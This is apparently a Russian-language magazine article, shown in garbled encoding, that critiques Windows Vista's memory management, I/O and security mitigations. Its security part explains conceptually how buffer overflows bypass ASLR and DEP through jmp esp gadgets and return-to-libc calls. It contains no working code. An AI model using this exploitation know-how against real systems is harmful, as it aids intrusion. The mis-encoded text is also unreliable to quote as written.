ñòðàíèöó íà äèñê, ñèñòåìà âûíóæäåíà çàðåçåðâè-

ðîâàòü â ôàéëå ïîäêà÷êè ìåñòî äëÿ åå «ñîñåäåé»,
êîòîðûå, âîçìîæíî, íèêîãäà íå áóäóò âûãðóæåíû.
Âïðî÷åì, ïðè ñîâðåìåííûõ îáúåìàõ æåñòêèõ äèñ-
êîâ ýòî ñòàíîâèòñÿ óæå íå ñòîëü êðèòè÷íî, — ïðî-
èçâîäèòåëüíîñòü âàæíåå.

Ðàäóåò è òîò ôàêò, ÷òî ñèñòåìà íàêîíåö-òî
ïåðåñòàëà âûãðóæàòü ìîäèôèöèðîâàííûå ñòðàíè-
öû, ñîäåðæèìîå êîòîðûõ áîëåå íå èñïîëüçóåòñÿ.
Íàïðèìåð, ïðè âûäåëåíèè íîâîãî áëîêà ïàìÿòè îí
àâòîìàòè÷åñêè çàáèâàåòñÿ íóëÿìè (â ïðîòèâíîì
ñëó÷àå, îäèí ïðîöåññ ìîã áû áåç òðóäà ïîõèòèòü
äàííûå âñåõ îñòàëüíûõ), íî âûãðóæàòü òàêóþ ñòðà-
íèöó ïàìÿòè íà äèñê íå íóæíî, ïîñêîëüêó â ëþáîé
ìîìåíò âðåìåíè çàáèâêó íóëÿìè ìîæíî âûïîëíèòü
ïîâòîðíî. Èññëåäîâàíèå âèðòóàëüíîé ïàìÿòè è
ôàéëà ïîäêà÷êè ïîêàçûâàåò, ÷òî «ëèøíèå» âûòåñ-
íåíèÿ ñòðàíèö ïðîèñõîäÿò ñðàâíèòåëüíî ðåäêî è
âûèãðûø â ïðîèçâîäèòåëüíîñòè íà îáùåì ôîíå
ïðàêòè÷åñêè íåîùóòèì, òåì íå ìåíåå «äåñÿòîê ñòà-
ðóøåê — óæå ðóáëü» (ñ) Ðàñêîëüíèêîâ.

Íà âîëíå îáùåìèðîâîé òåíäåíöèè ãëîáàëè-
çàöèè óñèëèëàñü èíòåãðàöèÿ ìåíåäæåðà ôàéëà
ïîäêà÷êè ñ äèñêîâûì êýøåì, ÷åãî îáùåñòâåí-
íîñòü óæå äàâíî æäàëà. Òåïåðü ñáðîñ ñòðàíèö
íà äèñê è ñáðîñ äèñêîâûõ áóôåðîâ ïðîèñõîäèò
ñîãëàñîâàííî, ÷òî óâåëè÷èâàåò ïðîèçâîäèòåëü-
íîñòü ïðè èíòåíñèâíîì ââîäå/âûâîäå, êîòîðûé,

îïÿòü-òàêè, õàðàêòåðåí â îñíîâíîì äëÿ ñåðâåðîâ,
à ðàáî÷èå ñòàíöèè äðûãàþò äèñêîì òîëüêî
ïî «òîðæåñòâåííûì» ñëó÷àÿì.

ìåíåäæåð êêó÷è. Äèíàìè÷åñêàÿ ïàìÿòü, òàê
æå íàçûâàåìàÿ êó÷åé (áåç êîòîðîé íåìûñëèìî ñó-
ùåñòâîâàíèå ïðèïëþñíóòîãî Ñè è ïëàòôîð-
ìû .NET), îáëàãàåò ïðîãðàììèñòà îùóòèìûìè íàê-
ëàäíûìè ðàñõîäàìè, îñîáåííî çàìåòíûìè íà ìà-
ëåíüêèõ áëîêàõ. È îïòèìèçàöèÿ ìåíåäæåðà êó÷è íå
ñïîñîáíà îùóòèìî ïîâëèÿòü íà ïðîèçâîäèòåëü-
íîñòü, ïîñêîëüêó âûäåëåíèå ìàëåíüêèõ áëîêîâ áå-
ðåò íà ñåáÿ áèáëèîòåêà âðåìåíè èñïîëíåíèÿ (RTL)
êîíêðåòíîãî êîìïèëÿòîðà, îáðàùàþùàÿñÿ ê îïåðà-
öèîííîé ñèñòåìå òîëüêî ñ «îïòîâûìè» çàêàçàìè.

Åñëè îòáðîñèòü óëó÷øåíèÿ, êàñàþùååñÿ
ìíîãîïðîöåññîðíûõ ñèñòåì, Âèñòà îòëè÷àåòñÿ îò
XP òîëüêî óìåíüøåííîé ôðàãìåíòàöèåé êó-
÷è (the low-fragmentation heap — LFH), ýâðèñòè÷åñ-
êèìè àëãîðèòìàìè, àâòîìàòè÷åñêè ïîäñòðàèâàþ-
ùèìèñÿ ïîä õàðàêòåð çàïðîñà íà âûäåëåíèå ïàìÿ-
òè, è îòëîæåííîé (lazy) èíèöèàëèçàöèåé.

Íàñ÷åò ôðàãìåíòàöèè — îòêðîâåííîå
âðàíüå. Ôðàãìåíòàöèÿ êó÷è ïðèâîäèò îòíþäü íå
ê ïàäåíèþ ïðîèçâîäèòåëüíîñòè, à ê íåâîçìîæíîñ-
òè âûäåëåíèÿ íåïðåðûâíîãî áëîêà òðåáóåìûõ
ðàçìåðîâ, õîòÿ ïî «êóñêàì» ñâîáîäíîé ïàìÿòè ìî-
æåò áûòü â ñîòíè ðàç áîëüøå. Ïðèëîæåíèå ïðîñòî
îòêàçûâàåò â ðàáîòå, ïîêàçûâàÿ, êàêîé ëîñü åãî
ñîçäàòåëü. Ñ íîðìàëüíûìè ïðîãðàììàìè òàêîãî
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ðàñïëàòà
çà áåçäóìíîñòü
Â ÌÈÐÅ ÑÓÙÅÑÒÂÓÅÒ ÒÐÈ ÒÈÏÀ ËÞÄÅÉ:
ÓÌÍÛÅ, ÄÓÐÀÊÈ È ÂÑÅ, ÊÒÎ ÌÅÆÄÓ
ÍÈÌÈ. ÄÓÐÀÊÈ ÑÒÀÂßÒ XBSD/LINUX
ÏÎÒÎÌÓ, ×ÒÎ ËÞÁßÒ ÕÀËßÂÓ. È ÒÎËÜÊÎ
ÏÎÒÎÌ, ÊÎÃÄÀ ÈÌ ÎÁÚßÑÍßÞÒ ÏÐÎ
«ÑÎÂÎÊÓÏÍÓÞ ÑÒÎÈÌÎÑÒÜ
ÂËÀÄÅÍÈß», ÎÍÈ ÏÅÐÅÅÇÆÀÞÒ ÍÀ NT,
ÏÅÐÅÕÎÄß Â ÊÀÒÅÃÎÐÈÞ ÒÅÕ,
ÊÒÎ «ÌÅÆÄÓ».
ÄÎÏÓÑÒÈÌ, ÅÑÒÜ ÑÅÐÂÅÐ È ÅÑÒÜ ÑÂÎÉ
ÁÈÇÍÅÑ. ÄÎÏÓÑÒÈÌ, ×ÀÑ ÏÐÎÑÒÎß
ÑÅÐÂÅÐÀ ÎÁÕÎÄÈÒÑß Â $100, À ÓÁÛÒÊÈ
ÎÒ ÏÎÒÅÐÈ/ÊÐÀÆÈ ÈÍÔÎÐÌÀÖÈÈ
ÑÎÑÒÀÂËßÞÒ $100000. ÒÅÏÅÐÜ
ÏÎÄÑ×ÈÒÀÅÌ ×ÀÑÒÎÒÓ ÏÀÄÅÍÈÉ NT
È ÏÎÌÍÎÆÈÌ ÅÅ ÍÀ ÂÅÐÎßÒÍÎÑÒÜ
ÀÒÀÊÈ. ÏÎ ÄÀÍÍÛÌ ÐÀÇËÈ×ÍÛÕ
ÀÃÅÍÒÑÒÂ, ÅÆÅÃÎÄÍÎ ÌÈÐÎÂÛÅ
ÊÎÌÏÀÍÈÈ ÒÅÐßÞÒ ÌÈËËÈÀÐÄÛ (!)
ÄÎËËÀÐÎÂ, ÏÐÈ×ÅÌ Ó ÏÎÄÀÂËßÞÙÅÃÎ
ÁÎËÜØÈÍÑÒÂÀ ÈÇ ÍÈÕ ÓÑÒÀÍÎÂËÅÍÀ
ÒÀ ÈËÈ ÈÍÀß ÂÅÐÑÈß NT.
ÓÌÍÛÅ ËÞÄÈ ÈÑÏÎËÜÇÓÞÒ XBSD/LINUX
ÍÅ ÏÎÒÎÌÓ, ×ÒÎ ÎÍ ÁÅÑÏËÀÒÍÛÉ,
À ÏÎÒÎÌÓ, ×ÒÎ ÑÓÙÅÑÒÂÓÅÒ ÒÀÊÎÅ
ÏÎÍßÒÈÅ, ÊÀÊ «Ó×ÅÒ ÐÈÑÊÎÂ».
ÝÊÎÍÎÌß ÍÀ ÇÀÐÏËÀÒÅ
ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ, ÊÎÌÏÀÍÈß ÈÄÅÒ
ÍÀ ÎÃÐÎÌÍÛÉ È ÍÈ ×ÅÌ
ÍÅ ÎÏÐÀÂÄÀÍÍÛÉ ÐÈÑÊ, ÇÀ×ÀÑÒÓÞ
ÍÀÑÒÓÏÀß ÍÀ ÎÄÍÈ È ÒÅ ÆÅ ÃÐÀÁËÈ
ÍÅÑÊÎËÜÊÎ ÐÀÇ! 

Êó÷à, êàê îíà åñòü, â Âèñòå
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íå ñëó÷àåòñÿ. Ó íèõ äðóãàÿ ïðîáëåìà— óòå÷êè ïà-
ìÿòè. Îøèáêè ïðîåêòèðîâàíèÿ ïðèâîäÿò ê òîìó,
÷òî âûäåëåííàÿ îäíàæäû ïàìÿòü íå îñâîáîæäàåò-
ñÿ, îáðàçóÿ ìîùíûå «îñàäî÷íûå» ïëàñòû, íàñëàè-
âàþùèåñÿ äðóã íà äðóãà, âïëîòü äî ïîëíîãî èñ÷åð-
ïàíèÿ âñåé ñâîáîäíîé ïàìÿòè. Çàâåðøàåòñÿ ñïåê-
òàêëü ïàäåíèåì ïðèëîæåíèÿ. Ñïðàâèòüñÿ ñ óòå÷-
êàìè îïåðàöèîííàÿ ñèñòåìà, ê ñîæàëåíèþ, íå
â ñèëàõ, ïîñêîëüêó íå ñóùåñòâóåò íèêàêèõ ïðèçíà-
êîâ, ïîçâîëÿþùèõ îòëè÷èòü ïîëåçíûé áëîê îò áëî-
êà, êîòîðûé çàáûëè îñâîáîäèòü. ×òî æå êàñàåòñÿ
àäàïòèâíûõ àëãîðèòìîâ, òî âñåãäà ñóùåñòâóåò óã-
ðîçà, ÷òî îíè ñðàáîòàþò ñ òî÷íîñòüþ äî íàîáîðîò,
è âìåñòî îáåùàííîãî âûèãðûøà (ñîñòàâëÿþùåãî

îò ñèëû íåñêîëüêî äåñÿòêîâ ïðîöåíòîâ) ïîëó÷èì
ãðàíäèîçíîå ïàäåíèå ïðîèçâîäèòåëüíîñòè.

Òî æå ñàìîå îòíîñèòñÿ è ê ïåðåïèñàííîìó
lookup-àëãîðèòìó (íà êîòîðîì áàçèðóþòñÿ ôóíê-
öèè âûäåëåíèÿ è îñâîáîæäåíèÿ  ïàìÿòè): òåïåðü
åãî ýôôåêòèâíîñòü ñîñòàâëÿåò íå O(n), à O(1),
òî åñòü âðåìÿ ïîèñêà ïðåäñòàâëÿåò ñîáîé êîíñòàí-
òó, íå çàâèñÿùóþ íè îò êàêèõ âíåøíèõ ôàêòîðîâ
(íàïðèìåð êîëè÷åñòâà âûäåëåííûõ áëîêîâ).

Êàê ýòî âëèÿåò íà ïðîèçâîäèòåëüíîñòü?
Ïðåäñòàâü, ÷òî ó íàñ åñòü äâà ÿùèêà. Îäèí ÷åð-
íûé, äðóãîé — ïðîçðà÷íûé, è â íåì ëåæèò $100.
Êàêîé èç ÿùèêîâ ñîäåðæèò áîëüøå äåíåã? Òàê æå
è çäåñü. O(n) — ýòî ëèíåéíàÿ çàâèñèìîñòü, ïðåä-

ñòàâëÿþùàÿ ñîáîé íàêëîííóþ êðèâóþ. O(1) —
ýòî ïðÿìàÿ, ïàðàëëåëüíàÿ îñè X. Â òî÷êå ïåðåñå-
÷åíèÿ äâóõ ïðÿìûõ (êîòîðàÿ èç óñëîâèé çàäà÷è
íàì íåèçâåñòíà) ýôôåêòèâíîñòü îáîèõ àëãîðèò-
ìîâ ñîâïàäàåò, ïîñëå ÷åãî àëãîðèòì O(1) íà÷èíà-
åò äàâàòü âñå áîëüøèé âûèãðûø, ÷åì O(n).
Íî ïî ëåâóþ ñòîðîíó îò òî÷êè ïåðåñå÷åíèÿ âñå
íå òàê, — òàì âûãîäíåå O(n). Íî ýòî â òåîðèè.
Íà ïðàêòèêå íàèáîëüøåå âëèÿíèå íà ïðîèçâîäè-
òåëüíîñòü îêàçûâàåò èìåííî RTL, òî åñòü áèáëèî-
òåêà âðåìåíè èñïîëíåíèÿ, ïîñòàâëÿåìàÿ âìåñòå
ñ êîìïèëÿòîðîì.

ìåíåäæåð âââîäà/âûâîäà. Áîëüøèì øàãîì
âïåðåä ñòàëî ïîÿâëåíèå ïðèîðèòèçèðîâàííîãî
ââîäà/âûâîäà, ïðè êîòîðîì ïîòîê ââîäà/âûâîäà
ñ áîëåå âûñîêèì ïðèîðèòåòîì âûòåñíÿåò ïîòîê
ñ áîëåå íèçêèì. Ýòî, íàïðèìåð, ïîçâîëÿåò êîïèðî-
âàòü áîëüøîå êîëè÷åñòâî ôàéëîâ â ôîíîâîì ðå-
æèìå áåç ïîòåðè ïðîèçâîäèòåëüíîñòè. Íî òàê ëè
÷àñòî ïðèõîäèòñÿ ðàáî÷èì ñòàíöèÿì ñòàëêèâàòüñÿ
ñ ïîäîáíîé ñèòóàöèåé? Íà ñåðâåðàõ — äà, òàì ýòî
î÷åíü ïîëåçíî, äàæå åñëè ýòî «äîìàøíèé» ftp, êî-
òîðûé òåïåðü ìîæíî ïåðåâåñòè â ôîíîâîé ðåæèì,
÷òîáû ïðè áîëüøîì íàïëûâå ïîëüçîâàòåëåé ñèñòå-
ìà íå «ïðîñåäàëà» ïîä íàãðóçêîé, îòêðûâàÿ ôàé-
ëû ñî ñêîðîñòüþ ÷åðåïàõè.

Èçìåíèëàñü è ïîëèòèêà ñáðîñà äèñêîâûõ áó-
ôåðîâ. Ôàéëû, îòîáðàæàåìûå â ïàìÿòü (memory
mapped file), ðàíüøå ñáðàñûâàëèñü íà äèñê ìà-
ëåíüêèìè êóñî÷êàìè, íå ïðåâûøàþùèìè
64 Êáàéò. Òåïåðü æå ýòà öèôðà óâåëè÷åíà àæ
äî 4 Ãáàéò. Êàêîé âûèãðûø ýòî äàëî? Ó÷èòûâàÿ,
÷òî ïîäàâëÿþùåå áîëüøèíñòâî ïðèëîæåíèé ðàáî-
òàåò ñ ôàéëàìè íàïðÿìóþ, áåç ïðîåöèðîâàíèÿ èõ
â ïàìÿòü, ðîâíûì ñ÷åòîì íèêàêîãî. Ïðàâäà, ñëåã-
êà óñêîðÿåòñÿ ðàáîòà ñ ôàéëîì ïîäêà÷êè (ïîñ-
êîëüêó îí ïðîåöèðóåìûé), äà è òî ëèøü íà áûñò-
ðûõ äèñêàõ, ïðåäïî÷òèòåëüíî SCSI, è ïðè èíòåí-
ñèâíîì äèñêîâîì ââîäå/âûâîäå.

Ðàññìîòðèì ñèòóàöèþ. Ó íàñ èìååòñÿ ôàéë,
ñïðîåöèðîâàííûé â ïàìÿòü, è ïðèëîæåíèå, äðûãà-
þùåå æåñòêèì äèñêîì. Åñëè ñáðîñ áóäåò ïðîèñ-
õîäèòü êóñî÷êàìè ïî 64 Êáàéòà, òî ãîëîâêà æåñò-
êîãî äèñêà áóäåò íåïðåðûâíî ìåòàòüñÿ ìåæäó
ñáðàñûâàþùèìèñÿ áóôåðàìè è çàïðîñàìè ïðèëî-
æåíèÿ. Óâåëè÷åíèå ðàçìåðà ñáðàñûâàåìûõ áóôå-
ðîâ ïîçâîëÿåò çàïèñàòü èõ çà îäèí ïðîõîä è òîëü-
êî ïîòîì äðûãíóòü ãîëîâêîé â íàïðàâëåíèè ïðè-
ëîæåíèÿ. Ñóììàðíàÿ ïðîèçâîäèòåëüíîñòü âîç-
ðàñòåò, íî è âðåìÿ ïðîñòîÿ çàïðîñîâ â î÷åðåäè
òîæå. Ðàññóæäàÿ ïî àíàëîãèè, îäíîâðåìåííîå âû-
ïîëíåíèå íåñêîëüêèõ ïðîãðàìì â ìíîãîçàäà÷íîé
ñðåäå çàíèìàåò íàìíîãî áîëüøå âðåìåíè, ÷åì åñ-
ëè áû ýòè ïðîãðàììû âûïîëíÿëèñü ïî î÷åðåäè.
Òàê íå ïîðà ëè âåðíóòüñÿ ê ïàêåòíîìó ðåæèìó?!
Òåñòû ïîêàæóò êîëîññàëüíûé âûèãðûø. Íî òî òåñ-
òû (îíè íà òî è ïðèäóìàíû, ÷òîáû äóðà÷èòü ëþ-
äåé) è ñîâñåì äðóãîå äåëî — ðåàëüíàÿ æèçíü. Åñ-
ëè ìû ñíà÷àëà áóäåò ñëóøàòü Winamp è òîëüêî
ïîòîì çàïóñòèì Word, òî ïðîèçâîäèòåëüíîñòü òðó-
äà íàâðÿä ëè âîçðàñòåò.
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áåñïðîâîäíûõ ñåòåé.

Ïîäðîáíî îïèñàíû
òåõíîëîãèè 802.11, íå-
îáõîäèìûå äëÿ îðãà-
íèçàöèè îáùåäîñòóï-
íûõ è ÷àñòíûõ Wi-Fi ñå-
òåé (ñòàíäàðò WPA).
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òàþùèõ ñ Windows XP,
Windows Server 2003
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îííîé èíôðàñòðóêòóðû
è èíôðàñòðóêòóðû îòê-
ðûòûõ êëþ÷åé (PKI),
èñïîëüçîâàíèå ïðîòî-
êîëîâ àóòåíòèôèêàöèè
EAP-TLS è PEAP-MS-
CHAP, ïðîåêòèðîâà-
íèå áåñïðîâîäíûõ ëî-
êàëüíûõ ñåòåé, îòðà-
æåíèå ñåòåâûõ àòàê
ñ ïîìîùüþ ïðîòîêîëà
TKIP è Microsoft WPA,
óñòðàíåíèå íåèñïðàâ-
íîñòåé è òàê äàëåå.
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áåçîïàñíîñòü. Òî, ÷òî ñ ïðîèçâîäèòåëüíîñòüþ
íè÷åãî íå ñâåòèò, âñå ïîëüçîâàòåëè çíàëè åùå çà-
ðàíåå è ïîñòåïåííî (÷èòàé, ïî ìåðå çíàêîìñòâà
ñ íîâûìè áåòàìè) ñ ýòèì êàê-òî ñìèðèëèñü.
Microsoft, â îáùåì-òî, íà ïðîèçâîäèòåëüíîñòü
íå ñèëüíî è íàïèðàåò, äåëàÿ ñòàâêó íà çàùèùåí-
íîñòü Âèñòû îò õàêåðñêèõ àòàê. Êîëè÷åñòâî çàïëà-
òîê äëÿ XP ïðåâûñèëî âñÿêèå ïðåäåëû òåðïåíèÿ,
à âèðóñíûå ýïèäåìèè ïîñëåäíèõ ëåò âñå åùå ñâåæè
â ïàìÿòè. Êîìó-òî î÷åíü âûãîäíî äåðæàòü ëþäåé
â ïîñòîÿííîì ñòðàõå ïåðåä àòàêîé, çàñòàâëÿÿ èõ ïî-
êóïàòü äîðîãîñòîÿùèå (íî íå ñëèøêîì íàäåæíûå)
çàùèòíûå ïðîäóêòû. È õîòÿ áûòóåò ìíåíèå, ÷òî
Microsoft ñåðüåçíî ïîäìî÷èëà ñåáå ðåïóòàöèþ, íà
ñàìîì äåëå, òàêàÿ ñèòóàöèÿ åé òîëüêî íà ðóêó. Ëó÷-
øåé ìîòèâàöèè, ÷åì áåçîïàñíîñòü, äëÿ ïåðåõîäà íà
íîâóþ ñèñòåìó è íå ïðèäóìàòü!

Ïðîáëåìà â òîì, ÷òî «áåçîïàñíîñòü» íå ÿâ-
ëÿåòñÿ òîé ïîòðåáèòåëüñêîé õàðàêòåðèñòèêîé, êî-
òîðóþ ìîæíî ïîùóïàòü ðóêàìè èëè ïðîâåðèòü íà
çóá. Äàæå âûñîêîêâàëèôèöèðîâàííûå ýêñïåðòû,
ñâîáîäíî âëàäåþùèå äèçàññåìáëåðîì (èëè èìåþ-
ùèå äîñòóï ê èñõîäíûì òåêñòàì), ìîãóò ëèøü
ïðèáëèçèòåëüíî îöåíèòü, íàñêîëüêî (íå)áåçîïàñ-
íà ñèñòåìà. Íî åñëè áåçîïàñíîñòü ãîâîðèò øåïî-
òîì, òî íåáåçîïàñíîñòü îðåò âî âåñü ãîëîñ, ÷òî
ñ Âèñòîé íà äàííûé ìîìåíò è ïðîèñõîäèò.

àòàêè ííà ïïåðåïîëíÿþùèåñÿ ááóôåðû. Microsoft
ïðîäîëæèëà íàñòóïëåíèå, íà÷àòîå åùå â w2k, ââî-
äÿ â äåéñòâèå âñå íîâûå è íîâûå çàùèòíûå ìåõà-
íèçìû, ñóùåñòâåííî (ÿêîáû) çàòðóäíÿþùèå ðåàëè-
çàöèþ óäàëåííûõ àòàê. «Íîâûå», åñòåñòâåííî,
òîëüêî äëÿ Windows. Â îñòàëüíûõ îïåðàöèîííûõ
ñèñòåìàõ îíè áûëè ðåàëèçîâàíû çàäîëãî äî ïîÿâ-
ëåíèÿ Âèñòû è â ãîðàçäî áîëåå ïîëíîì îáúåìå.

Ñ áîëüøèì îïîçäàíèåì â Âèñòå ïîÿâèëàñü
ïîääåðæêà ðàíäîìèçàöèè àäðåñíîãî ïðîñòðàí-
ñòâà Address Space Layout Randomization (ASLR).
Ïî óìîë÷àíèþ âñå ñèñòåìíûå áèáëèîòåêè òåïåðü
çàãðóæàþòñÿ ïî îäíîìó èç 256 âîçìîæíûõ àäðå-
ñîâ, à â çàãîëîâêå èñïîëíÿåìûõ ôàéëîâ ïîÿâèëñÿ
ñïåöèàëüíûé áèò, óêàçûâàþùèé, äîëæåí ëè îí
çàãðóæàòüñÿ ïî ñëó÷àéíîìó àäðåñó èëè íåò.

Ïîäðîáíîñòè î ðåàëèçàöèè ASLR îò Microsoft
ìîæíî ïî÷åðïíóòü èç áëîãà http://blogs.msdn.com/micha-
el_howard/archive/2006/05/26/608315.aspx. Òàì äàæå ïðèâî-
äèòñÿ êîíêðåòíûé ïðèìåð ðàñïîëîæåíèÿ ñèñòåìíûõ
áèáëèîòåê íîóòáóêà àâòîðà äî è ïîñëå ïåðåçàãðóçêè:

áàçîâûå ààäðåñà ííåêîòîðûõ ññèñòåìíûõ
áèáëèîòåê ââ Âèñòå
wsock32.dll  (0x73ad0000)

winhttp.dll  (0x74020000)

user32.dll   (0x779b0000)

kernel32.dll (0x77c10000)

gdi32.dll    (0x77a50000)

áàçîâûå ààäðåñà òòåõ ææå ññàìûõ ááèáëèîòåê
ïîñëå ïïåðåçàãðóçêè ññèñòåìû
wsock32.dll  (0x73200000)

winhttp.dll  (0x73760000)

user32.dll   (0x770f0000)

kernel32.dll (0x77350000)

gdi32.dll    (0x77190000)

Íàñêîëüêî ýòîò òðþê óñëîæíÿåò àòàêó, è êàêèì áî-
êîì ñèñòåìíûå áèáëèîòåêè îòíîñÿòñÿ ê ïåðåïîëíÿ-
þùèìñÿ áóôåðàì? Âñå ïðîñòî — ïåðâûì äåéñòâè-
åì àòàêóþùåãî îáû÷íî ñòàíîâèòñÿ ïîäìåíà àäðå-
ñà âîçâðàòà èç ôóíêöèè íà àäðåñ ìàøèííîé êîìàí-
äû jmp esp (FFh E4h), íàõîäÿùåéñÿ â äîñòóïíîé
îïåðàòèâíîé ïàìÿòè. Íà ìàøèíàõ ñ çàäåéñòâîâàí-
íûì àïïàðàòíûì DEP'îì (áëîêèðóþùèì èñïîëíå-
íèå êîäà â ñòåêå) ïðèõîäèòñÿ ïðåäâàðèòåëüíî âû-
çûâàòü API-ôóíêöèè, ïðèñâàèâàþùèå äàííîìó ðå-
ãèîíó ñòàòóñ èñïîëíÿåìîãî èëè âûäåëÿþùèå áëîê
ïàìÿòè ñ íóæíûìè àòðèáóòàìè è êîïèðóþùèå òóäà
shell-êîä. Òàêèå àòàêè ïîëó÷èëè íàçâàíèå return-to-
libc, ïîñêîëüêó âïåðâûå áûëè ðåàëèçîâàíû íà
UNIX-ñèñòåìàõ, ãäå îñíîâíûì «ïîñòàâùèêîì» API-
ôóíêöèé ñòàíîâèòñÿ áèáëèîòåêà libc.lib. Íó
à â Windows õàêåðû èñïîëüçóþò ïðÿìîé âûçîâ KER-
NEL32.DLL, êîòîðàÿ òåïåðü çàãðóæàåòñÿ ïî ñëó÷àé-
íîìó àäðåñó, è àòàêóþùèé èìååò 1/256 øàíñ íà
óäà÷ó. Â ïðîòèâíîì ñëó÷àå ïðîèçîéäåò èñêëþ÷å-
íèå, è ðàáîòà óÿçâèìîãî ïðèëîæåíèÿ áóäåò çàâåð-
øåíà â àâàðèéíîì ðåæèìå, ÷òî íå åñòü õîðîøî.

Äà, íå ñëèøêîì-òî íàäåæíàÿ çàùèòà. Åñ-
ëè â ñåòè íàõîäèòñÿ 1000 óÿçâèìûõ ìàøèí, òî
â ïåðâîé æå èòåðàöèè àòàêè çàðàæàþòñÿ ïðèìåð-
íî 4 èç íèõ. Ôàêòè÷åñêè, «òàñîâêà» ñèñòåìíûõ

áèáëèîòåê ëèøü óâåëè÷èâàåò êîëè÷åñòâî ïîïû-
òîê, êîòîðûå íåîáõîäèìî ïðåäïðèíÿòü àòàêóþùå-
ìó, íî íå ïðåïÿòñòâóåò ñàìîé àòàêå â ïðèíöèïå.
Ê òîìó æå, åñëè óÿçâèìûé èñïîëíÿåìûé ôàéë (èëè
ïðèíàäëåæàùèå åìó äèíàìè÷åñêèå áèáëèîòåêè)
íå èñïîëüçóþò ôëàã ðàíäîìèçàöèè, òî âìåñòî ïðÿ-
ìûõ âûçîâîâ KERNEL32.DLL àòàêóþùèé ìîæåò
èñïîëüçîâàòü òàáëèöó èìïîðòà èëè RTL ôàéëà-
æåðòâû. Òåîðåòè÷åñêè, âçâåñòè áèò ðàíäîìèçàöèè
ìîæíî è â hiew'å, íî ïðàêòè÷åñêè âñå ñòàðîå ïðîã-
ðàììíîå îáåñïå÷åíèå îñòàíåòñÿ óÿçâèìûì è ïðî-
äîëæèò îñòàâàòüñÿ òàêîâûì äî òåõ ïîð, ïîêà íå ïî-
ÿâÿòñÿ ëèíêåðû, ïîääåðæèâàþùèå äàííóþ ôè÷ó,
è ðàçðàáîò÷èêè íå ïåðåñîáåðóò ñâîè ïðîåêòû. Íî
ñëó÷èòñÿ ïîäîáíîå íå ñêîðî, ê òîìó æå çàãðóçêà
èñïîëíÿåìîãî ôàéëà ïî ñëó÷àéíîìó àäðåñó òðåáó-
åò íàëè÷èÿ fixup'îâ (òàê æå íàçûâàåìûõ ïåðåìå-
ùàåìûìè ýëåìåíòàìè), ÷òî óâåëè÷èâàåò ðàçìåð
exe-ôàéëà è çàìåäëÿåò åãî çàãðóçêó. Áåãëûé îï-
ðîñ ðàçðàáîò÷èêîâ ïîêàçàë, ÷òî íèêòî èç íèõ íå
ñîáèðàåòñÿ çàäåéñòâîâàòü ðàíäîìèçàöèþ íè ñåé-
÷àñ, íè äàæå òîãäà, êîãäà îíà áóäåò ïîääåðæè-
âàòüñÿ VC è äðóãèìè êîìïèëÿòîðàìè.

Ê òîìó æå ðàíäîìèçàöèÿ íå çàòðàãèâàåò ñòåê,
à ëèøü ÷àñòè÷íî âîçäåéñòâóåò íà êó÷ó, îñòàâëÿÿ
àòàêóþùåìó äîñòàòî÷íî ïðåäñêàçóåìîé èíôîðìà-
öèè äëÿ óñïåøíîé ðåàëèçàöèè àòàêè, íåèçáåæíîñòü
êîòîðîé î÷åâèäíà âñåì, êðîìå ïàðíåé èç Microsoft.
Â ÷àñòíîñòè, ïàêåò PaX, ñîçäàííûé äëÿ UNIX è óñ-
ïåøíî ïåðåíåñåííûé íà NT (ãäå îí èçâåñòåí ïîä
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èìåíåì Wehnus), ðàíäîìèçóåò âñå, ÷òî òîëüêî ìîæ-
íî ðàíäîìèçîâàòü, óñïåøíî ðàáîòàÿ íà ÎÑ îò w2k
äî Server 2003 ñ ìèíèìàëüíûìè èçäåðæêàìè ïðî-
èçâîäèòåëüíîñòè. Ïîäðîáíåå î «íàñòîÿùåé» ðàí-
äîìèçàöèè ìîæíî ïðî÷èòàòü íà en.wikipedia.org/wiki/-
Address_Space_Layout_Randomization.

Äðóãèì øàãîì âïåðåä ñòàëî ïîìåùåíèå
ñïèñêà îáðàáîò÷èêîâ ñòðóêòóðíûõ èñêëþ÷å-
íèé (SEH) â ñïåöèàëüíóþ ñåêöèþ PE-ôàé-
ëà (.pdata), äîñòóïíóþ òîëüêî äëÿ ÷òåíèÿ. Äî ýòîãî
ñïèñîê îáðàáîò÷èêîâ ðàñïîëàãàëñÿ â ñòåêå è áûë
ñâîáîäíî äîñòóïåí äëÿ ìîäèôèêàöèè. Íà ñàìîì
äåëå, ýòî íå èìååò íèêàêîãî îòíîøåíèÿ ê îïåðà-
öèîííîé ñèñòåìå è îáóñëàâëèâàåòñÿ îäíîé ëèøü
ïîëèòèêîé êîìïèëÿòîðà. Íèêòî íå çàïðåùàåò âûò-
âîðÿòü ïîäîáíûå òðþêè äàæå íà 9x, íå ãîâîðÿ óæå
î  w2k èëè XP. Âîò òîëüêî ïîäõîäÿùèõ êîìïèëÿòî-
ðîâ ïîêà ÷òî íåò. Àõ äà, ìàëåíüêàÿ äåòàëü. Äàæå
åñëè ïðèëîæåíèå íå óñòàíàâëèâàåò íèêàêèõ ñâî-
èõ îáðàáîò÷èêîâ, òî çà îáðàáîòêó èñêëþ÷åíèé îò-
âå÷àåò îáðàáîò÷èê, íàçíà÷àåìûé îïåðàöèîííîé
ñèñòåìîé è âïëîòü äî Server 2003 SP1 ðàçìåùàþ-
ùèéñÿ â ñòåêå. Òåïåðü æå, ñ ïðèõîäîì Âèñòû
ê âëàñòè, åãî òàì íåò.

Ïðåïÿòñòâóåò ëè ýòî óäàëåííûì àòàêàì?
Ñîìíåâàþñü. Îáðàáîò÷èêè ñòðóêòóðíûõ èñêëþ÷å-
íèé î÷åíü øèðîêî ðàñïðîñòðàíåíû â ïðèïëþñíó-
òîì Ñè, ãäå îíè óñòàíàâëèâàþòñÿ êîìïèëÿòîðîì
íåÿâíî, íå ãîâîðÿ óæå î ñïåöèàëüíûõ ñðåäñòâàõ
âðîäå ñåêöèé try/except. Äî òåõ ïîð, ïîêà ðàçðà-
áîò÷èêè íå ïåðåêîìïèëèðóþò âñå ñâîè ïðèëîæå-
íèÿ íîâûìè âåðñèÿìè êîìïèëÿòîðîâ (ïîääåðæè-

âàþùèõ ýòó ôèøêó), â ñòåêå ïî-ïðåæíåìó áóäåò
áîëòàòüñÿ êó÷à SEH'îâ, ñïàñàþùèõ õàêåðîâ îò ãî-
ëîäíîé ñìåðòè. Íî äàæå ïîñëå ïåðåêîìïèëÿöèè
â ñåêöèþ .pdata ïîïàäóò ëèøü ñòàòè÷åñêèå îáðà-
